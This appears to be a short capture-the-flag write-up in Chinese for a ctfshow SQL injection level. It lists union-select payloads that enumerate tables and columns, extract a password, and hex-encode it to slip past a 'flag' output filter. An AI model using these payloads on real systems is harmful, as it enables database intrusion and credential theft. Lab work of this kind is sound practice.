1' union select 1,table_name,3 from information_schema.tables where table_schema=database()--+

1' union select 1,column_name,3 from information_schema.columns where table_name='ctfshow_user3'--+

这里跟上一题的不同之处在于:
1.原本只查询了 username, password 两个字段,现在变成了 id, username, password 三个字段
所以payload要改变为:-1' union select 1, 'hack', password from ctfshow_user3 where username='flag'--+
2.上一关只是检查 username 是不是 'flag'。而这一关,它把整个返回的数组 $ret 转换成了 JSON 字符串,然后用正则表达式模糊匹配只要任何一个角落包含 f-l-a-g 四个字母就不行 preg_match('/flag/i', ...) 检查
- 这意味着: 只要最终返回给前端的整行数据里,包含"flag"这四个字母(不区分大小写),就会直接触发拦截,比如,假设密码中有flag也会把回显的内容过滤掉,此时我们使用HEX(password)把返回的密码编码从而绕过限制
